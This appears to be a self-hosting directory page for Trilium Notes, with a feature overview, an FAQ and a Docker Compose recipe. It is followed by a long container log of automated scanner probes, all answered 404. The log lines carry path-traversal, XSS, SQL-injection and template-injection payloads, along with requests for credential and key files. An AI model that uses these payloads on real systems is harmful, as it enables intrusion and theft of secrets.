Trilium Notes is an open-source personal knowledge base replacing Evernote with deep hierarchical note trees, note cloning, and private local storage.
Commercial note apps like Evernote restrict free accounts to a single notebook, meter monthly uploads, and keep personal archives on remote servers. Trilium Notes keeps your entire knowledge base on your own computer or private server without note limits or subscription tiers. Its deep hierarchical tree lets you organize thousands of documents without recurring fees or vendor lock-in.
Evernote organizes research through notebooks, stacks, and tags, but confines each note to a single folder location. Trilium Notes changes that workflow through note cloning, which places the same note into multiple branches of your category tree simultaneously. If a receipt belongs under both tax records and renovation expenses, editing it in either folder updates both views without creating duplicate files or split revision histories. The visual editor matches standard desktop software, handling tables, images, checklists, and direct import from Evernote export files.
The operational trade-off centers on data ownership versus mobile setup. Trilium Notes runs as a standalone desktop program on Windows, macOS, or Linux, storing everything in an offline database without subscription fees or device limits. While Evernote offers polished first-party mobile store apps, Trilium Notes relies on a mobile web interface or community clients, requiring a private synchronization server or local network to access notes from a phone.
Can Trilium Notes import notes from Evernote? Yes. Trilium Notes includes an import tool that accepts standard Evernote .enex files, preserving formatted text, images, tags, and folder structures.
Is Trilium Notes free for personal use? Yes. The software is free to download and run on desktop computers or private servers with no paywalls, feature tiers, or note caps.
Does Trilium Notes require an internet connection to work? No. Desktop versions for Windows, macOS, and Linux store all notes in a local database and operate completely offline.
Trilium Notes is the right choice for individuals who need deep hierarchical organization, local data privacy, and note cloning without recurring software subscriptions. It is not designed for teams needing real-time collaboration or users who rely on official app store downloads. Active maintenance by the TriliumNext community and an AGPL-3.0 license make it a dependable long-term home for personal archives.
We started this exact setup from scratch in a clean Linux machine on Nov 1, 2026 and checked it through Trilium Notes's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p trilium-notes && cd trilium-notes
curl -fsSL https://open-source.store/tools/trilium-notes/compose.yml -o compose.ymltouch .envdocker compose up -dservices:
trilium:
image: triliumnext/trilium:v0.106.1
restart: unless-stopped
ports:
- "8080:8080"
volumes:
- trilium-data:/home/node/trilium-data
healthcheck:
test: ["CMD-SHELL", "curl -f http://localhost:8080/api/health-check"]
interval: 10s
timeout: 5s
retries: 5
volumes:
trilium-data:
Free IDE for Java, Kotlin, Go, TypeScript and Python. Built on IntelliJ Community, fully open source, 300+ plugins.
Show that Trilium Notes is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 55 s: triliumnext/trilium:v0.106.1.
Based on the upstream setup. Official compose. Image pinned to v0.106.1 with named volume for data directory.
trilium-1 | 2026-11-01T11:39:52.014990889Z 404 GET /index_sso.php
trilium-1 | 2026-11-01T11:39:52.015253806Z 404 GET /glpi/ajax/telemetry.php
trilium-1 | 2026-11-01T11:39:52.015361722Z 404 GET /agc/vicidial_mysqli_errors.txt
trilium-1 | 2026-11-01T11:39:52.015682847Z 404 GET /ui_config.properties
trilium-1 | 2026-11-01T11:39:52.016351431Z 404 GET /glpi/ajax/telemetry.php
trilium-1 | 2026-11-01T11:39:52.016747181Z 404 GET /../../etc/passwd
trilium-1 | 2026-11-01T11:39:52.016934306Z 404 GET /../../etc/passwd
trilium-1 | 2026-11-01T11:39:52.017059639Z 404 GET /agc/vicidial_mysqli_errors.txt
trilium-1 | 2026-11-01T11:39:52.017333847Z 404 GET /index.asp
trilium-1 | 2026-11-01T11:39:52.017553264Z 404 GET /index_sso.php
trilium-1 | 2026-11-01T11:39:52.017658889Z 404 GET /cs.html?url=http://www.interact.sh
trilium-1 | 2026-11-01T11:39:52.018340556Z 404 GET /wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php
trilium-1 | 2026-11-01T11:39:52.018768181Z 404 GET /api/Image/withpath/C:%5CWindows%5Cwin.ini
trilium-1 | 2026-11-01T11:39:52.020830889Z 404 GET /search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
trilium-1 | 2026-11-01T11:39:52.020964889Z 404 GET /cs.html?url=http://www.interact.sh
trilium-1 | 2026-11-01T11:39:52.021163014Z 404 GET /search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
trilium-1 | 2026-11-01T11:39:52.021274806Z 404 GET /index.asp
trilium-1 | 2026-11-01T11:39:52.021398556Z 404 GET /pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=MSG6
trilium-1 | 2026-11-01T11:39:52.021519139Z 404 GET /api/Image/withpath/C:%5CWindows%5Cwin.ini
trilium-1 | 2026-11-01T11:39:52.021604222Z 404 GET /api/v1/version
trilium-1 | 2026-11-01T11:39:52.021711014Z 404 GET /rest.html
trilium-1 | 2026-11-01T11:39:52.021813889Z 404 GET /source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini
trilium-1 | 2026-11-01T11:39:52.022040347Z 404 GET /rest.html
trilium-1 | 2026-11-01T11:39:52.022156556Z 404 GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css
trilium-1 | 2026-11-01T11:39:52.022287181Z 404 GET /index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00
trilium-1 | 2026-11-01T11:39:52.022385722Z 404 GET /%2f/
trilium-1 | 2026-11-01T11:39:52.027451931Z 404 GET /source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini
trilium-1 | 2026-11-01T11:39:52.027587806Z 404 GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css
trilium-1 | 2026-11-01T11:39:52.027694139Z 404 GET /wp-content/plugins/simple-ajax-chat/sac-export.csv
trilium-1 | 2026-11-01T11:39:52.027808389Z 404 GET /fetchBody?id=1/../../../../../../../../etc/passwd
trilium-1 | 2026-11-01T11:39:52.027933139Z 404 GET /objects/functiongetOpenGraph.php?videoName=123+--><script>alert(document.domain)</script>
trilium-1 | 2026-11-01T11:39:52.028393264Z 404 GET /objects/functiongetOpenGraph.php?videoName=123+--><script>alert(document.domain)</script>
trilium-1 | 2026-11-01T11:39:52.028493431Z 404 GET /wp-content/plugins/simple-ajax-chat/sac-export.csv
trilium-1 | 2026-11-01T11:39:52.028604597Z 404 GET /wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php
trilium-1 | 2026-11-01T11:39:52.028825056Z 404 GET /home/courses?query="><svg+onload=alert(document.domain)>
trilium-1 | 2026-11-01T11:39:52.028986722Z 404 GET /pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=MLnz
trilium-1 | 2026-11-01T11:39:52.029142472Z 404 GET /index.php?option=com_addressbook&controller=../../../../../../../../../../etc/passwd%00
trilium-1 | 2026-11-01T11:39:52.029294431Z 404 GET /fetchBody?id=1/../../../../../../../../etc/passwd
trilium-1 | 2026-11-01T11:39:52.029625181Z 404 GET /home/courses?query="><svg+onload=alert(document.domain)>
trilium-1 | 2026-11-01T11:39:52.029733097Z 404 GET /wp-content/themes/diarise/download.php?calendar=file:///etc/passwd
trilium-1 | 2026-11-01T11:39:52.030324764Z 404 GET /wp-content/plugins/wordfence/lib/wordfenceClass.php?file=/../../../../../../etc/passwd
trilium-1 | 2026-11-01T11:39:52.030447472Z 404 GET /geoserver/rest.html
trilium-1 | 2026-11-01T11:39:52.030564722Z 404 GET /install.html
trilium-1 | 2026-11-01T11:39:52.030669097Z 404 GET /sample-apps/hello/%2f/
trilium-1 | 2026-11-01T11:39:52.031142806Z 404 GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
trilium-1 | 2026-11-01T11:39:52.031329972Z 404 GET /install.html
trilium-1 | 2026-11-01T11:39:52.031428056Z 404 GET /schema.prisma
trilium-1 | 2026-11-01T11:39:52.031605681Z 404 GET /cgi-bin-hax/ExportSettings.sh
trilium-1 | 2026-11-01T11:39:52.031657389Z 404 GET /service/~iufo/com.ufida.web.action.ActionServlet?TableSelectedID&TreeSelectedID&action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease
trilium-1 | 2026-11-01T11:39:52.032379097Z 404 GET /SM/rpt_listreport_definefield.aspx?ID=2%20and%201=@@version--+
trilium-1 | 2026-11-01T11:39:52.032382181Z 404 GET /schema.prisma
trilium-1 | 2026-11-01T11:39:52.032383014Z 404 GET /cgi-bin-hax/ExportSettings.sh
trilium-1 | 2026-11-01T11:39:52.032383847Z 404 GET /clusters/local
trilium-1 | 2026-11-01T11:39:52.032384639Z 404 GET /service/~iufo/com.ufida.web.action.ActionServlet?TableSelectedID&TreeSelectedID&action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease
trilium-1 | 2026-11-01T11:39:52.032385681Z 404 GET /SM/rpt_listreport_definefield.aspx?ID=2%20and%201=@@version--+
trilium-1 | 2026-11-01T11:39:52.032386472Z 404 GET /geoserver/rest.html
trilium-1 | 2026-11-01T11:39:52.032387431Z 404 GET /ecrire/?exec=install
trilium-1 | 2026-11-01T11:39:52.032399014Z 404 GET /mobile.html
trilium-1 | 2026-11-01T11:39:52.032499097Z 404 GET /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+547653*865674+as+id
trilium-1 | 2026-11-01T11:39:52.032588556Z 404 GET /index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00
trilium-1 | 2026-11-01T11:39:52.032679681Z 404 GET /index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd
trilium-1 | 2026-11-01T11:39:52.032924764Z 404 GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
trilium-1 | 2026-11-01T11:39:52.033118972Z 404 GET /ecrire/?exec=install
trilium-1 | 2026-11-01T11:39:52.033209889Z 404 GET /mobile.html
trilium-1 | 2026-11-01T11:39:52.033308806Z 404 GET /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+547653*865674+as+id
trilium-1 | 2026-11-01T11:39:52.033395764Z 404 GET /clusters/local
trilium-1 | 2026-11-01T11:39:52.033487722Z 404 GET /index.php?option=com_jequoteform&view=../../../../../../etc/passwd%00
trilium-1 | 2026-11-01T11:39:52.033574556Z 404 GET /index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd
trilium-1 | 2026-11-01T11:39:52.033674889Z 404 GET /wp-content/themes/diarise/download.php?calendar=file:///etc/passwd
trilium-1 | 2026-11-01T11:39:52.033763681Z 404 GET /wp-content/plugins/wordfence/lib/wordfenceClass.php?file=/../../../../../../etc/passwd
trilium-1 | 2026-11-01T11:39:52.034038181Z 404 GET /%2f/
trilium-1 | 2026-11-01T11:49:20.999762375Z 404 GET /wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php
trilium-1 | 2026-11-01T11:49:21.001043708Z 404 GET /components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00
trilium-1 | 2026-11-01T11:49:21.001058166Z 404 GET /main/calendar/agenda_list.php?type=xss"+onmouseover=alert(document.domain)+"
trilium-1 | 2026-11-01T11:49:21.001059833Z 404 GET /main/calendar/agenda_list.php?type=xss"+onmouseover=alert(document.domain)+"
trilium-1 | 2026-11-01T11:49:21.002358625Z 404 GET /js/../.htpasswd
trilium-1 | 2026-11-01T11:49:21.002425000Z 404 GET /js/../.htpasswd
trilium-1 | 2026-11-01T11:49:21.002437291Z 404 GET /general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php
trilium-1 | 2026-11-01T11:49:21.002689000Z 404 GET /components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00
trilium-1 | 2026-11-01T11:49:21.004394458Z 404 GET /index.php?_csrf_token_645a83a41868941e4692aa31e7235f2=6a50886006f02202a6dac5cfa07bcbfb1e2a6e84&destination=zbuip%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ejgoihbmmygljgoihbmmygl&logMeIn=Login&memberID=admin&memberPassWord=password&p=member
trilium-1 | 2026-11-01T11:49:21.006703875Z 404 GET /wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php
trilium-1 | 2026-11-01T11:49:21.009369000Z 404 GET /lan.html
trilium-1 | 2026-11-01T11:49:21.010408666Z 404 GET /lan.html
trilium-1 | 2026-11-01T11:49:21.010833250Z 404 GET /index.php?_csrf_token_645a83a41868941e4692aa31e7235f2=6a50886006f02202a6dac5cfa07bcbfb1e2a6e84&destination=zbuip%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ejgoihbmmygljgoihbmmygl&logMeIn=Login&memberID=admin&memberPassWord=password&p=member
trilium-1 | 2026-11-01T11:49:21.011527833Z 404 GET /ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
trilium-1 | 2026-11-01T11:49:21.012143583Z 404 GET /webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd
trilium-1 | 2026-11-01T11:49:21.012823791Z 404 GET /ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
trilium-1 | 2026-11-01T11:49:21.013903750Z 404 GET /cache/backup/
trilium-1 | 2026-11-01T11:49:21.022000708Z 404 GET /cache/backup/
trilium-1 | 2026-11-01T11:49:21.022054125Z 404 GET /cpanel.config
trilium-1 | 2026-11-01T11:49:21.022073541Z 404 GET /apiserver-etcd-client.key
trilium-1 | 2026-11-01T11:49:21.022287208Z 404 GET /atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
trilium-1 | 2026-11-01T11:49:21.022519583Z 404 GET /cpanel.config
trilium-1 | 2026-11-01T11:49:21.022671458Z 404 GET /ghost/api/admin/authentication/setup/
trilium-1 | 2026-11-01T11:49:21.022858375Z 404 GET /prisma/schema.prisma
trilium-1 | 2026-11-01T11:49:21.023070041Z 404 GET /apiserver-etcd-client.key
trilium-1 | 2026-11-01T11:49:21.023347666Z 404 GET /ghost/api/admin/authentication/setup/
trilium-1 | 2026-11-01T11:49:21.023548666Z 404 GET /bagisto-common/search?query={{2288*'9876'}}
trilium-1 | 2026-11-01T11:49:21.024206583Z 404 GET /bagisto-common/search?query={{2288*'9876'}}
trilium-1 | 2026-11-01T11:49:21.024330000Z 404 GET /search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%276570797675%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1
trilium-1 | 2026-11-01T11:49:21.024539541Z 404 GET /general/mytable/intel_view/video_file.php?MEDIA_DIR=../../../inc/&MEDIA_NAME=oa_config.php
trilium-1 | 2026-11-01T11:49:21.024718708Z 404 GET /resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E
trilium-1 | 2026-11-01T11:49:21.024902916Z 404 GET /prisma/schema.prisma
trilium-1 | 2026-11-01T11:49:21.025159416Z 404 GET /resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E
trilium-1 | 2026-11-01T11:49:21.025248458Z 404 GET /search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%276570797675%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1
trilium-1 | 2026-11-01T11:49:21.025501541Z 404 GET /sample-apps/hello/%2f/
trilium-1 | 2026-11-01T11:49:21.028440083Z 404 GET /atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
trilium-1 | 2026-11-01T11:49:21.031842375Z 404 GET /ghost/api/v3/admin/authentication/setup/
trilium-1 | 2026-11-01T11:49:21.031857000Z 404 GET /ghost/api/v3/admin/authentication/setup/
trilium-1 | 2026-11-01T11:49:21.034150791Z 404 GET /src/prisma/schema.prisma
trilium-1 | 2026-11-01T11:49:21.035614041Z 404 GET /cgi-bin/privatekey.pem
trilium-1 | 2026-11-01T11:49:21.035793541Z 404 GET /cgi-bin/privatekey.pem
trilium-1 | 2026-11-01T11:49:21.036162625Z 404 GET /webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd
trilium-1 | 2026-11-01T11:49:21.038119791Z 404 GET /src/prisma/schema.prisma
trilium-1 | 2026-11-01T11:49:21.038753500Z 404 GET /db/schema.prisma
trilium-1 | 2026-11-01T11:49:21.038914541Z 404 GET /api/raster/search/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--
trilium-1 | 2026-11-01T11:49:21.039258125Z 404 GET /api/raster/search/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--
trilium-1 | 2026-11-01T11:49:21.039544583Z 404 GET /db/schema.prisma
trilium-1 | 2026-11-01T11:49:21.040510541Z 404 GET /.prisma/schema.prisma
trilium-1 | 2026-11-01T11:49:21.040644375Z 404 GET /.prisma/schema.prisma